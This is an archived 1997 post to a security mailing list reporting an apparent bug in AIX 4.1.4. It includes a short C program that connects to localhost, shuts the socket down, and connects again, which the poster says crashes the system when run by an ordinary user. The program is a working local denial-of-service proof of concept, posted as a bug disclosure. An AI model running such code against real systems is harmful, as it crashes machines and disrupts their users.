[60] in Best-of-Security
BoS: Bug in connect() for aix 4.1.4 ?
daemon@ATHENA.MIT.EDU (Cahya Wirawan)
Fri Mar 7 08:58:01 1997
Date: Wed, 5 Mar 1997 13:23:54 +0100
Reply-To: Cahya Wirawan <cwirawan@EMAIL.ARCHLAB.TUWIEN.AC.AT>
From: Cahya Wirawan <cwirawan@EMAIL.ARCHLAB.TUWIEN.AC.AT>
Errors-To: best-of-security-request@suburbia.net
To: best-of-security@suburbia.net
Resent-From: best-of-security@suburbia.net
Can someone tell me why this simple tcp program crashes aix 4.1.4 .
I run this program as a normal user, and the second connect crashes aix.
is it just connect's old bug from aix ? i have tried it in aix 3.2
but it works only in 4.1.4.
_____________________________________________________________________
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/time.h>
#include <netdb.h>
#include <stdio.h>
main()
{
int sock;
struct sockaddr_in server;
struct hostent *hp;
sock = socket(AF_INET, SOCK_STREAM, 0);
/* or sock = socket(AF_INET, SOCK_STREAM, 6); */
hp = gethostbyname("localhost");
bcopy((char*)hp->h_addr, (char*)&server.sin_addr, hp->h_length);
server.sin_family = AF_INET;
server.sin_port = 23;
connect(sock, (struct sockaddr *)&server, sizeof server);
shutdown(sock, 2);
server.sin_port = 24;
connect(sock, (struct sockaddr *)&server, sizeof server);
}
_________________________________________________________________________
Cahya Wirawan.